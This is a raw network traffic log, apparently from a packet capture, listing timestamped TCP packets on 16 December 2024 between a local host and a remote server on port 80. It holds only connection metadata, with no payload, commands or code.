Dec 16, 2024 15:25:32.369179964 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.369232893 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.371846914 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.371952057 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.372013092 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.374520063 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.374536037 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.374607086 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.377079964 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.377196074 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.377249002 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.379704952 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.379842997 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.379900932 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.382107973 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.382275105 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.382322073 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.384659052 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.384843111 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.384896040 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.387337923 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.387379885 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.387463093 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.389589071 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.389691114 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.389754057 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.392019987 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.392035961 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.392123938 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.394406080 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.394485950 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.394552946 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.396902084 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.397003889 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.397073030 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.399370909 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.399487972 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.399554014 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.401776075 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.401858091 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.401925087 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.404340982 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.404484034 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.404548883 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.406605005 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.406702995 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.406768084 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.409064054 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.409157038 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.409223080 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.411560059 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.411690950 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.411761045 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.414009094 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.414272070 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.414340019 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.416347980 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.416440010 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.416532040 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.418790102 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.418879986 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.418942928 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.421207905 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.421293020 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.421360016 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.423667908 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.423777103 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.423837900 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.426117897 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.426151991 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.426196098 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.428689003 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.428721905 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.428771019 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.430932045 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.431041002 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.431090117 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.433495045 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.433684111 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.433737993 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.435838938 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.435956955 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.436008930 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.438258886 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.438359976 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.438410044 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.440732956 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.440821886 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.440884113 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.443108082 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.443347931 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.443408012 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.445555925 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.445667982 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.445724010 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.448117971 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.448287010 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.448345900 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.450411081 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.450520039 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.450571060 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.452912092 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.452975988 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.453027010 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.455339909 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.455440044 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.455490112 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.457767010 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.457910061 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.457972050 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.460216999 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.460270882 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.460319996 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.462857008 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.463159084 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.463207960 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.465183020 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.465286016 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.465348959 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.467489958 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.467787981 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.467834949 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.469933987 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.470140934 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.470197916 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.472340107 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.472505093 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.472560883 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.474812031 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.474865913 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.475199938 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.477261066 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.477401018 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.477453947 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.479981899 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.480094910 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.480154991 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.482084036 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.482168913 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.482219934 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.484580994 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.538156986 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.538223028 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.538233042 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.539036036 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.539088964 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.539130926 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.540966034 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.541024923 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.541112900 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.542802095 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.542864084 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.542922020 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.544634104 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.544692039 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.544790983 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.546489000 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.546549082 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.546591997 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.548276901 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.548341990 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.548392057 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.550098896 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.550154924 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.550158978 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.551883936 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.551915884 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.551954985 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.553646088 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.553713083 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.553736925 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.555437088 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.555471897 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.555510998 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.557220936 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.557235956 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.557287931 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.558799982 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.558855057 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.558933973 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.560544968 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.560628891 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.560630083 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.562242031 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.562263966 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.562302113 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.563880920 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.563904047 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.563941002 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.565438032 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.565499067 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.565536022 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.567003012 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.567061901 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.567145109 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.568732977 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.568753958 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.568794012 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.570233107 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.570324898 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.570390940 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.571814060 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.571846008 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.571883917 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.573448896 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.573497057 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.573509932 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.574974060 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.575033903 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.575035095 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.576669931 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.576718092 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.576723099 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.578371048 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.578428984 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.578468084 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.579768896 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.579785109 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.579824924 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.581017017 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.581149101 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.581259966 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.582457066 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.582551956 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.582572937 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.583966970 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.584022999 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.584068060 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.585453987 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.585504055 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.585505962 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.586947918 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.586982965 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.587002993 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.588481903 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.588534117 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.588633060 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.589920044 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.589975119 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.590019941 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.591351032 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.591464996 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.591495037 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.592765093 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.592823982 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.592866898 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.594192028 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.594247103 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.594291925 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.595704079 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.595765114 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.595922947 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.596617937 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.596668959 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.596729040 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.597420931 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.597454071 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.597466946 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.598335981 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.598387957 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.598481894 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.599191904 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.599236012 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.599282980 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.600070953 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.600119114 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.600241899 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.600913048 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.600959063 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.601113081 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.601921082 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.601975918 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.602030039 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.602700949 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.602746964 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.602790117 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.603606939 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.603657007 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.603718042 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.604418039 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.604465961 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.604605913 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.605315924 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.605369091 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.605379105 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.606183052 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.606234074 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.606244087 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.607099056 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.607146978 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.607220888 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.607924938 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.607975960 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.607988119 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.608777046 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.608829975 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.608863115 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.609649897 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.609702110 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.609776974 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.610815048 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.610872030 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.730340004 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.730380058 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.730443001 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.730638027 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.730706930 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.730756998 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.731210947 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.731372118 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.731425047 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.732045889 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.732135057 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.732186079 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.732939005 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.733027935 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.733078957 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.733807087 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.734036922 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.734138012 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.734579086 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.734685898 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.734747887 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.735410929 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.735541105 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.735596895 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.736257076 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.736357927 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.736413002 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.737519979 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.737647057 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.737734079 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.738034010 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.738365889 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.738428116 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.738806009 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.738984108 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.739034891 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:32.739700079 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:32.739789009 CET	80	49742	185.215.113.16	192.168.2.5
